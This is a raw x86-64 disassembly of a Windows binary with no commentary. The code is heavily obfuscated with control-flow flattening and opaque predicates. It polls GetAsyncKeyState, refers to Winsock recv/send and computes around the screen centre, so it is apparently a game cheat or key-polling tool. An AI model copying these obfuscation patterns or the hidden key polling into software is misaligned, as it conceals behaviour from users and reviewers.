mov eax, 0x2ec458a9
mov ecx, 0x2c3eafc5
cmove eax, ecx
jmp 0x140501b1d
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
mov eax, dword [rbp + 0x270]
mov eax, 0x2a89c1f6
jmp 0x140501b1d
movsd qword [rbp + 0x20], xmm6
mov ecx, dword [0x140b8530c]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea r11, [rbp + 0x338]
add rsp, 0x20
test ax, ax
mov eax, 0x57d0a760
mov ecx, 0xc00e1a4d
cmovns eax, ecx
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x68c9899f
mov ecx, 0x933d3b38
jmp 0x140501b10
mov rax, qword [rbp - 0x78]
ucomiss xmm9, dword [rax]
mov eax, 0xc1362774
jmp 0x14050be75
mov dword [0x140b8530c], 2
mov eax, 0xb62b80fa
jmp 0x140501b1d
mov al, byte [0x140b852d8]
mov byte [rbp + 0x1cd], al
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf7971221
mov ecx, 0x70dad76c
jmp 0x140501b10
mov eax, dword [rbp + 0x1d8]
cmp eax, 4
mov eax, 0x701b34a7
mov ecx, 0xf33155ec
cmovl eax, ecx
jmp 0x140501b1d
mov dword [0x140b85310], 0x12
mov eax, 0x9e49b3bb
jmp 0x140501b1d
mov rax, qword [rbp - 0x70]
lea rcx, [0x140b85068]
mov qword [rbp + 0x358], rcx
mov ecx, dword [0x140b86d48]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140b86d4c], 0xa
setl dl
or dl, cl
mov ebx, 0xf56703e7
mov ecx, 0x43f5c295
cmovne ebx, ecx
mov edx, 0xf56703e7
mov ecx, 0xd435c381
cmovne edx, ecx
mov ecx, 0xe88a2a9d
nop dword [rax]
cmp ecx, 0xe88a2a9c
jle 0x140508b10
cmp ecx, 0xe88a2a9d
je 0x140508b3c
cmp ecx, 0xf56703e7
je 0x140508b40
cmp ecx, 0x43f5c295
jne 0x140508ae0
mov ecx, 0x820603c9
jmp 0x140508ae0
cmp ecx, 0x820603c9
je 0x14050d919
cmp ecx, 0xd435c381
jne 0x140508ae0
mov rcx, qword [rbp + 0x358]
mov rcx, qword [rcx]
add rcx, rax
mov qword [rbp + 0x330], rcx
mov ecx, ebx
jmp 0x140508ae0
mov ecx, edx
jmp 0x140508ae0
mov rcx, qword [rbp + 0x358]
mov ecx, 0xd435c381
jmp 0x140508ae0
mov eax, reloc.WS2_32.dll_recv
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x78], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x58], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x118], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x70], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xe0], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xd8], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x10], rax
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3f31ab2d
mov ecx, 0x540c9c8
jmp 0x140501b10
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc0665e9c
mov ecx, 0xd0616d9e
jmp 0x140501b10
mov eax, 0x2f7408f2
jmp 0x140501b1d
mov dword [0x140b85328], 2
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x107852e5
mov ecx, 0xb0c6f540
jmp 0x140501b10
mov eax, dword [rbp + 0x270]
add eax, 4
mov dword [rbp], eax
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfd65ca5b
mov ecx, 0xd634393c
jmp 0x140501b10
mov eax, dword [rbp + 0x178]
add eax, 1
mov dword [rbp + 0xc], eax
mov eax, 0xb0403517
jmp 0x140501b1d
mov eax, 0x74ecebbd
jmp 0x140501b1d
mov eax, dword [rbp + 0xb4]
mov dword [rbp + 0xf0], eax
mov eax, dword [rbp + 0x10c]
mov byte [rbp + 0x299], al
mov eax, dword [rbp + 0xf0]
cmp eax, 5
mov eax, 0x1e6f2bc1
mov ecx, 0x63b63e63
cmovl eax, ecx
jmp 0x140501b1d
mov ecx, dword [0x140b85310]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea r11, [rbp + 0x338]
add rsp, 0x20
and eax, 0x8000
mov dword [rbp + 0x90], eax
mov eax, 0xf835c1b5
jmp 0x140501b1d
mov eax, dword [rbp + 0x1d0]
imul eax, dword [rbp + 0x110]
add eax, dword [rbp + 0x274]
shl eax, 2
mov dword [rbp + 0x18], eax
mov eax, 0xe64e5743
jmp 0x140501b1d
mov dword [rbp + 0xc0], 0
mov al, byte [rbp + 0x2a0]
jmp 0x14050bb00
cmp byte [rbp + 0x1b7], 0
mov eax, 0x96a0a09a
mov ecx, 0x443bcca4
cmovne eax, ecx
jmp 0x140501b1d
mov rax, qword [rbp - 0x40]
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa9838b9f
mov ecx, 0xbff1e44f
jmp 0x140501b10
mov eax, 0x4a4145b2
jmp 0x140501b1d
mov eax, dword [rbp + 0x17c]
lea eax, [rax + rax*4]
shl eax, 2
add eax, dword [rbp + 0x178]
shl eax, 2
cdqe
lea rcx, [0x140b85050]
mov qword [rbp + 0x358], rcx
mov ecx, dword [0x140b86d48]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140b86d4c], 0xa
setl dl
or dl, cl
mov ebx, 0xf56703e7
mov ecx, 0x43f5c295
cmovne ebx, ecx
mov edx, 0xf56703e7
mov ecx, 0xd435c381
cmovne edx, ecx
mov ecx, 0xe88a2a9d
nop dword [rax]
cmp ecx, 0xe88a2a9c
jle 0x140508e10
cmp ecx, 0xe88a2a9d
je 0x140508e3c
cmp ecx, 0xf56703e7
je 0x140508e40
cmp ecx, 0x43f5c295
jne 0x140508de0
mov ecx, 0x820603c9
jmp 0x140508de0
cmp ecx, 0x820603c9
je 0x14050f136
cmp ecx, 0xd435c381
jne 0x140508de0
mov rcx, qword [rbp + 0x358]
mov rcx, qword [rcx]
add rcx, rax
mov qword [rbp + 0x330], rcx
mov ecx, ebx
jmp 0x140508de0
mov ecx, edx
jmp 0x140508de0
mov rcx, qword [rbp + 0x358]
mov ecx, 0xd435c381
jmp 0x140508de0
mov eax, 0xaccf8945
jmp 0x140501b1d
cmp byte [rbp + 0x1bf], 0
mov eax, 0x3c6bfa10
mov ecx, 0x3aa7b52c
cmovne eax, ecx
mov ecx, dword [rbp + 0x9c]
mov dword [rbp + 0x104], ecx
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x634ef039
mov ecx, 0x56902894
jmp 0x140501b10
movss xmm0, dword [rbp + 0xa0]
mov eax, 0x70280f56
jmp 0x140501b1d
mov byte [rbp + 0x2aa], 1
mov dword [rbp + 0xbc], send
mov eax, 0x4799e9fa
jmp 0x140501b1d
mov al, byte [rbp + 0x2a0]
jmp 0x1405099bb
mov byte [0x140b85031], 0
mov eax, 0x1bd1a66a
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x62e7adfb
mov ecx, 0xaf3a1269
jmp 0x140501b10
ucomisd xmm8, qword [rbp - 0x50]
mov eax, 0x5ca4128c
mov ecx, 0x422f4dcb
cmovae eax, ecx
movsd xmm6, qword [rbp - 0x50]
jmp 0x140501b1d
mov eax, 0x7091a52a
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9ff1ed90
mov ecx, 0x303d0715
jmp 0x140501b10
mov eax, 0x183ad464
jmp 0x140501b1d
movabs rax, 0x200000001
mov qword [0x140b85324], rax
mov eax, 0x610dde47
jmp 0x140501b1d
cmp byte [rbp + 0x1c9], 0
mov eax, 0xcec87dd1
mov ecx, 0x150b5cd5
cmovne eax, ecx
jmp 0x140501b1d
mov eax, dword [rbp + 0xa8]
mov ecx, dword [rbp + 0x110]
sub ecx, eax
add ecx, dword [0x140b85328]
xorps xmm0, xmm0
cvtsi2ss xmm0, ecx
addss xmm0, dword [0x140b84f9c]
cvttss2si eax, xmm0
mov dword [0x140b85048], eax
mov dword [rbp + 0xc4], 8
mov byte [rbp + 0x2af], 1
mov eax, 0xbe753ff3
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcacb336e
mov ecx, 0x7026e894
jmp 0x140501b10
mov al, byte [rbp + 0x2ae]
mov byte [rbp + 0x29f], al
mov eax, dword [rbp + 0xc0]
mov dword [rbp + 0x274], eax
mov eax, dword [rbp + 0x1d0]
mov ecx, dword [rbp + 0x274]
cmp ecx, eax
mov eax, 0x259e96a1
mov ecx, 0x45ccbf5f
cmovl eax, ecx
jmp 0x140501b1d
mov eax, 0xc888e2cb
jmp 0x140501b1d
mov dword [0x140b85324], 2
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbe401f23
mov ecx, 0x9199bfd
jmp 0x140501b10
mov eax, dword [rbp + 0xc]
mov dword [rbp + 0xb8], eax
mov al, byte [rbp + 0x29a]
jmp 0x14050b7b3
cmp dword [rbp + 0x84], 0
sete byte [rbp + 0x1b9]
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7b1ce483
mov ecx, 0x415d8130
jmp 0x140501b10
mov al, byte [0x140b84c78]
mov byte [rbp + 0x2a2], al
mov eax, 0xcb2e7053
jmp 0x140501b1d
mov eax, 0x5953ccf4
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xba8d8cb7
mov ecx, 0x8a8f91a5
jmp 0x140501b10
mov dword [0x140b8530c], 6
mov eax, 0x5461871
jmp 0x140501b1d
mov eax, dword [rbp + 0x178]
mov ecx, dword [0x140b85324]
add eax, ecx
add eax, 0xfffffff6
mov dword [0x140b85044], eax
mov eax, dword [rbp + 0x17c]
mov ecx, dword [0x140b85328]
lea eax, [rax + rcx - 0xa]
xorps xmm0, xmm0
cvtsi2ss xmm0, eax
addss xmm0, dword [0x140b84f9c]
cvttss2si eax, xmm0
mov dword [0x140b85048], eax
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x790ae7e5
mov ecx, 0x24051019
jmp 0x140501b10
mov eax, 0xa6cb0eb4
jmp 0x140501b1d
mov eax, 0x571a57ba
jmp 0x140501b1d
mov eax, 0xf7767b3b
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe9c08312
mov ecx, 0x74ecebbd
jmp 0x140501b10
mov al, byte [rbp + 0x2ab]
mov byte [rbp + 0x29b], al
mov eax, dword [rbp + 0xb8]
mov dword [rbp + 0x178], eax
mov eax, dword [rbp + 0x178]
cmp eax, 0x14
mov eax, 0x350e306a
mov ecx, 0xd577f690
cmovl eax, ecx
jmp 0x140501b1d
mov eax, dword [rbp + 0xf0]
add eax, 1
mov dword [rbp - 4], eax
mov eax, 0x8abf0714
jmp 0x140501b1d
mov eax, 0x44bf2de7
jmp 0x140501b1d
mov eax, dword [rbp + 0x178]
mov eax, dword [rbp + 0x178]
mov ecx, dword [0x140b85324]
add eax, ecx
add eax, 0xfffffff6
mov dword [0x140b85044], eax
mov eax, dword [rbp + 0x17c]
mov eax, dword [rbp + 0x17c]
mov ecx, dword [0x140b85328]
lea eax, [rax + rcx - 0xa]
xorps xmm0, xmm0
cvtsi2ss xmm0, eax
addss xmm0, dword [0x140b84f9c]
cvttss2si eax, xmm0
mov dword [0x140b85048], eax
mov eax, 0x4d004062
jmp 0x140501b1d
mov rax, qword [rbp + 0x58]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov edi, dword [0x140b84d8c]
add edi, 0xffffffec
mov esi, dword [0x140b84d88]
add esi, 0xffffffec
mov ebx, 0x70872b08
mov rdx, qword [rbp + 0x58]
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0x70872b08
je 0x140509275
cmp ebx, 0xc330aaa3
jne 0x140509260
jmp 0x14050f157
mov ebx, 0xc330aaa3
jmp 0x140509260
movss dword [rbp + 0x330], xmm0
movss xmm0, dword [rbp + 0x330]
movss xmm0, dword [0x140b8503c]
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
mov eax, 0x6742093e
lea r11, [rbp + 0x338]
nop dword [rax]
cmp eax, 0xed03f61e
jle 0x1405092d0
cmp eax, 0xed03f61f
je 0x1405092e3
cmp eax, 0x6742093e
je 0x1405092e7
cmp eax, 0x5bb003bf
jne 0x1405092b0
mov eax, edi
jmp 0x1405092b0
cmp eax, 0x9d494a93
je 0x1405092ee
cmp eax, 0xb72ca808
jne 0x1405092b0
jmp 0x14050f5bb
mov eax, esi
jmp 0x1405092b0
mov eax, 0x5bb003bf
jmp 0x1405092b0
mov eax, 0xed03f61f
jmp 0x1405092b0
mov al, byte [rbp + 0x2af]
mov byte [rbp + 0x29e], al
cmp dword [rbp + 0xc4], 0
mov eax, 0x487a41ab
mov ecx, 0x2ff5366d
cmove eax, ecx
mov cl, byte [rbp + 0x29e]
mov byte [rbp + 0x2ad], cl
jmp 0x140501b1d
mov al, byte [0x140b852db]
mov byte [rbp + 0x2a1], al
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc1e47f73
mov ecx, 0xfdf7ae5c
jmp 0x140501b10
mov eax, dword [rbp + 0x100]
mov dword [rbp + 0x88], eax
mov eax, dword [rbp + 0x98]
or eax, dword [rbp + 0x88]
mov eax, 0xc660fb40
mov ecx, 0x68d949
cmovne eax, ecx
jmp 0x140501b1d
mov eax, 0x5952f2d8
jmp 0x140501b1d
mov edx, dword [rbp + 0xf8]
mov r8d, dword [rbp + 0xf4]
sub rsp, 0x20
lea rsi, [0x140b84b98]
mov rcx, rsi
call fcn.1404ff560
mov rcx, rsi
call fcn.1404ff760
lea r11, [rbp + 0x338]
add rsp, 0x20
mov eax, 0xb2f84d26
jmp 0x140501b1d
mov al, byte [rbp + 0x2ff]
and al, 1
mov byte [rbp + 0x1c5], al
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa11fe626
mov ecx, 0xeb46bb9
jmp 0x140501b10
mov eax, 0xc2d78ab3
jmp 0x140501b1d
cmp word [rbp + 0x132], 0
setne byte [rbp + 0x1c9]
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1ffd3f16
mov ecx, 0x13758be3
jmp 0x140501b10
lea rax, [rbp + 0x350]
mov qword [rbp + 0x358], rax
lea rax, [0x140b84fc0]
mov qword [rbp + 0x330], rax
mov rax, qword [rbp + 0x358]
mov rdx, qword [rbp + 0x330]
mov rdx, qword [rdx]
mov qword [rax], rdx
mov eax, 0x62491ecd
nop dword [rax]
cmp eax, 0x62491ecd
je 0x140509473
cmp eax, 0x9b9dc05c
jne 0x140509460
jmp 0x14050f5d5
mov eax, 0x9b9dc05c
jmp 0x140509460
mov eax, dword [rbp + 0x1d4]
cmp eax, 3
mov eax, 0xad0f203b
mov ecx, 0x4b5deb17
cmovl eax, ecx
jmp 0x140501b1d
mov eax, 0x7091a52a
jmp 0x140501b1d
mov eax, dword [rbp + 0x114]
cmp eax, 2
mov eax, 0xfcb0333e
mov ecx, 0xede6cc2c
cmovl eax, ecx
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8f832412
mov ecx, 0x610dde47
jmp 0x140501b10
mov rax, qword [rbp + 0x118]
mov rdx, qword [rax]
sub rsp, 0x20
lea rcx, [0x140b85038]
call fcn.1404fa940
add rsp, 0x20
mov eax, dword [0x140b86d00]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b86d04], 0xa
setl cl
or cl, al
mov esi, 0x9d494a93
mov eax, 0xb72ca808
cmovne esi, eax
movss xmm0, dword [0x140b85038]
mov edi, 0x9d494a93
mov eax, 0xed03f61f
cmovne edi, eax
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
mov eax, 0x6742093e
nop dword [rax + rax]
cmp eax, 0xed03f61e
jle 0x140509570
cmp eax, 0xed03f61f
je 0x140509583
cmp eax, 0x6742093e
je 0x140509587
cmp eax, 0x5bb003bf
jne 0x140509550
mov eax, edi
jmp 0x140509550
cmp eax, 0x9d494a93
je 0x14050958e
cmp eax, 0xb72ca808
jne 0x140509550
jmp 0x14050f64c
mov eax, esi
jmp 0x140509550
mov eax, 0x5bb003bf
jmp 0x140509550
mov eax, 0xed03f61f
jmp 0x140509550
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x48]
mov eax, 0x62491ecd
nop word cs:[rax + rax]
cmp eax, 0x62491ecd
je 0x1405095c3
cmp eax, 0x9b9dc05c
jne 0x1405095b0
jmp 0x14050f6c5
mov eax, 0x9b9dc05c
jmp 0x1405095b0
mov eax, 0x73a81b32
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc1e47f73
mov ecx, 0xbf9533fe
jmp 0x140501b10
mov eax, 0x3c0a64d2
jmp 0x140501b1d
test byte [rbp + 0x1bc], 1
mov eax, 0x69ebb762
mov ecx, 0xba7febdc
cmove eax, ecx
jmp 0x140501b1d
cmp dword [rbp + 0x1d8], 0
mov eax, 0xbddac843
mov ecx, 0xeee00393
cmovle eax, ecx
jmp 0x140501b1d
mov eax, 0x43e68195
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc2a6d622
mov ecx, 0x9fefa502
jmp 0x140501b10
mov eax, dword [rbp + 0x1d0]
mov ecx, eax
shr ecx, 0x1f
add ecx, eax
sar ecx, 1
mov dword [rbp + 0xa8], ecx
mov eax, dword [rbp + 0xa8]
mov ecx, dword [rbp + 0x274]
sub ecx, eax
add ecx, dword [0x140b85324]
mov dword [0x140b85044], ecx
mov eax, 0x142edd9e
jmp 0x140501b1d
mov eax, 0x496fff9b
jmp 0x140501b1d
mov eax, dword [0x140b8531c]
lea ecx, [rax + rax*2]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rbp + 0x338]
add rsp, 0x20
mov eax, 0x960cce18
jmp 0x140501b1d
sub rsp, 0x20
lea rcx, [0x140b84b98]
call fcn.1404ff760
lea r11, [rbp + 0x338]
add rsp, 0x20
mov eax, 0x96a0a09a
jmp 0x140501b1d
mov rax, qword [rbp - 0x28]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp - 0x60]
mov eax, dword [0x140b84d8c]
mov ecx, eax
shr ecx, 0x1f
add ecx, eax
sar ecx, 1
cvtsi2sd xmm2, ecx
mov eax, dword [0x140b84d88]
mov ecx, eax
shr ecx, 0x1f
add ecx, eax
sar ecx, 1
xorps xmm1, xmm1
cvtsi2sd xmm1, ecx
mov rcx, qword [rbp - 0x28]
sub rsp, 0x20
call fcn.140511fd0
add rsp, 0x20
mov rax, qword [rbp + 0x40]
mov qword [rbp - 0x68], rax
mov rax, qword [rbp - 0x68]
mov edi, dword [0x140b84d8c]
add edi, 0xfffffffb
mov esi, dword [0x140b84d88]
add esi, 0xfffffffb
mov ebx, 0x70872b08
mov rdx, qword [rbp + 0x40]
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x70872b08
je 0x140509775
cmp ebx, 0xc330aaa3
jne 0x140509760
jmp 0x14050f71a
mov ebx, 0xc330aaa3
jmp 0x140509760
cmp byte [rbp + 0x1bb], 0
mov eax, 0xba7febdc
mov ecx, 0x967a41e5
cmovne eax, ecx
jmp 0x140501b1d
mov eax, 0x9effd241
jmp 0x140501b1d
mov eax, 0x6467da73
jmp 0x140501b1d
mov eax, dword [rbp + 0x108]
mov byte [rbp + 0x29c], al
mov eax, dword [rbp + 0xc8]
mov dword [rbp + 0x17c], eax
mov eax, dword [rbp + 0x17c]
cmp eax, 0x14
mov eax, 0x52f594d9
mov ecx, 0xb41eb0fa
cmovl eax, ecx
jmp 0x140501b1d
cvttss2si eax, dword [rbp + 0xa0]
cmp dword [0x140b852e4], 3
sete byte [rbp + 0x1bf]
mov dword [rbp + 0x9c], eax
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb8cbf079
mov ecx, 0x7327f9f1
jmp 0x140501b10
mov eax, dword [0x140b852f0]
mov dword [rbp + 0x1d4], eax
mov eax, 0x34c3b51
jmp 0x140501b1d
mov eax, 0x7091a52a
jmp 0x140501b1d
mov dword [rbp + 0xac], 0
mov al, byte [rbp + 0x299]
mov byte [rbp + 0x2a7], al
mov eax, 0x3ad5a2a2
jmp 0x140501b1d
mov eax, 0x9b5e595f
jmp 0x140501b1d
mov eax, 0xed33ab5a
jmp 0x140501b1d
test byte [rbp + 0x1cd], 1
mov eax, 0xa52fbec
mov ecx, 0x53b09edc
cmove eax, ecx
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa00b6328
mov ecx, 0x55c2529c
jmp 0x140501b10
mov eax, 0x194f8d9c
jmp 0x140501b1d
cmp byte [rbp + 0x1ca], 0
mov eax, 0xcec87dd1
mov ecx, 0x3605dcb9
cmovne eax, ecx
jmp 0x140501b1d
mov dword [0x140b85310], 0xa2
mov eax, 0xa2da2501
jmp 0x140501b1d
mov dword [0x140b8530c], 0x12
mov eax, 0x87212da1
jmp 0x140501b1d
mov dword [0x140b85310], 2
mov eax, 0x535742f4
jmp 0x140501b1d
cmp byte [rbp + 0x1ba], 0
mov eax, 0x780a5436
mov ecx, 0x4271784e
cmovne eax, ecx
jmp 0x140501b1d
mov dword [0x140b74c10], 0xffffffff
mov eax, 0x7026e894
jmp 0x140501b1d
mov dword [rbp + 0xc4], 0
mov al, byte [rbp + 0x29f]
mov byte [rbp + 0x2af], al
mov eax, 0xbe753ff3
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfd65ca5b
mov ecx, 0x2a89c1f6
jmp 0x140501b10
mov eax, 0x933d3b38
jmp 0x140501b1d
cmp dword [rbp + 0x90], 0
setne byte [rbp + 0x1b7]
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x62e7adfb
mov ecx, 0x9739f15e
jmp 0x140501b10
mov dword [0x140b8530c], 5
mov eax, 0x1db7d26f
jmp 0x140501b1d
mov al, byte [rbp + 0x2e3]
mov byte [rbp + 0x2ac], al
mov eax, 0x1621a009
jmp 0x140501b1d
mov al, byte [rbp + 0x2a2]
mov eax, 0x49d50b43
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe739fec
mov ecx, 0x1da4c721
jmp 0x140501b10
mov rax, qword [rbp + 0xd0]
mov rax, qword [rax]
mov qword [0x140b85038], rax
mov rax, qword [rbp + 0xd0]
mov byte [0x140b84c78], 0
mov eax, 0xd074cb8f
jmp 0x140501b1d
cmp dword [rbp + 0x1d4], 0
mov eax, 0x50a4b4c6
mov ecx, 0x34e7fa80
cmovle eax, ecx
jmp 0x140501b1d
mov eax, 0x15f57494
jmp 0x140501b1d
mov al, byte [0x140b85031]
mov byte [rbp + 0x1b8], al
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x18d8527d
mov ecx, 0xadf2d5fe
jmp 0x140501b10
movss dword [rbp + 0x330], xmm0
cvttss2si eax, dword [rbp + 0x330]
mov dword [rbp + 0xa4], eax
movss xmm0, dword [0x140b8503c]
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
mov eax, 0x6742093e
lea r11, [rbp + 0x338]
nop word cs:[rax + rax]
cmp eax, 0xed03f61e
jle 0x140509ad0
cmp eax, 0xed03f61f
je 0x140509ae3
cmp eax, 0x6742093e
je 0x140509ae7
cmp eax, 0x5bb003bf
jne 0x140509ab0
mov eax, edi
jmp 0x140509ab0
cmp eax, 0x9d494a93
je 0x140509aee
cmp eax, 0xb72ca808
jne 0x140509ab0
jmp 0x14050fb7b
mov eax, esi
jmp 0x140509ab0
mov eax, 0x5bb003bf
jmp 0x140509ab0
mov eax, 0xed03f61f
jmp 0x140509ab0
mov al, byte [rbp + 0x299]
mov byte [rbp + 0x2a4], al
mov eax, 0x74527389
jmp 0x140501b1d
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov eax, 0xb9b7a4bd
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1d476679
mov ecx, 0x43ffda84
jmp 0x140501b10
mov qword [rbp + 0x160], rsp
mov eax, 0xad651a27
jmp 0x14050b765
mov eax, dword [0x140b86d40]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc127d0cf
mov ecx, 0x578cae4c
cmove eax, ecx
cmp dword [0x140b86d44], 0xa
cmovl eax, ecx
nop word cs:[rax + rax]
cmp eax, 0xeda2da7f
jg 0x140509bd0
cmp eax, 0xad651a26
jle 0x140509c40
cmp eax, 0xbf050584
jg 0x140509f9f
cmp eax, 0xb6e7bce7
jg 0x14050a154
cmp eax, 0xad651a27
je 0x14050a278
cmp eax, 0xadd06607
jne 0x140509b80
mov rax, qword [rbp + 0x2d0]
mov qword [rbp + 0x2e8], rax
mov eax, 0x89226ce8
jmp 0x140509b80
cmp eax, 0x27f650d3
jg 0x140509e90
cmp eax, 0x6c4781b
jle 0x14050a09f
cmp eax, 0x16917013
jg 0x14050a16f
cmp eax, 0x6c4781c
je 0x14050ac4a
cmp eax, 0x14dac0dc
jne 0x140509b80
mov edx, dword [rbp + 0x190]
test edx, edx
mov eax, 0x1da00b46
mov ecx, 0x6e0eb7
cmove eax, ecx
mov dword [rbp + 0x188], edx
mov rcx, qword [rbp + 0x198]
mov qword [rbp + 0x1a8], rcx
mov qword [rbp + 0x168], rcx
jmp 0x140509b80
cmp eax, 0x8b8ab030
jle 0x14050a0e7
cmp eax, 0x9d99de9f
jg 0x14050a1c4
cmp eax, 0x8b8ab031
je 0x14050ac54
cmp eax, 0x8c09fc77
jne 0x140509b80
mov rax, qword [rbp + 0x158]
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x2c8]
mov qword [rbp + 0x288], rax
mov rax, qword [rbp + 0x288]
mov rax, qword [rbp + 0x330]
mov r8, qword [rax + 0x30]
mov rcx, qword [rbp + 0x2c8]
mov edx, 0xc51e8ee8
nop word cs:[rax + rax]
cmp edx, 0xd5357ea1
jle 0x140509d10
cmp edx, 0xd5357ea2
je 0x140509e0f
cmp edx, 0x443aa486
je 0x14050b1c2
cmp edx, 0x787992e0
jne 0x140509cb0
mov rax, qword [rbp + 0x350]
mov eax, dword [rax]
mov edx, dword [rbp + 0x328]
add rdx, r8
mov qword [rcx + 8], rdx
mov dword [rcx + 0x10], eax
mov eax, dword [0x140b856b0]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edx, 0xa8f315e1
mov eax, 0x443aa486
jmp 0x140509e28
cmp edx, 0xa8f315e1
je 0x140509e3a
cmp edx, 0xc51e8ee8
jne 0x140509cb0
mov qword [rcx], r8
mov edx, dword [0x140b856b4]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
sete byte [rbp + 0x308]
mov edx, dword [0x140b856b8]
mov edi, 0x11daf85
mov eax, 0x850a648c
cmove edi, eax
cmp edx, 0xa
setl byte [rbp + 0x310]
cmovl edi, eax
mov edx, 0x61bac617
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x11daf84
jg 0x140509db0
cmp edx, 0x850a648c
je 0x140509dea
cmp edx, 0x9bc0b61e
je 0x140509e5d
cmp edx, 0xaafcbf56
jne 0x140509d70
movsxd rbx, dword [rbp + 0x340]
add rbx, r8
mov edx, 0x9bc0b61e
jmp 0x140509d70
cmp edx, 0x11daf85
je 0x140509df4
cmp edx, 0x35e60346
je 0x140509dfe
cmp edx, 0x61bac617
jne 0x140509d70
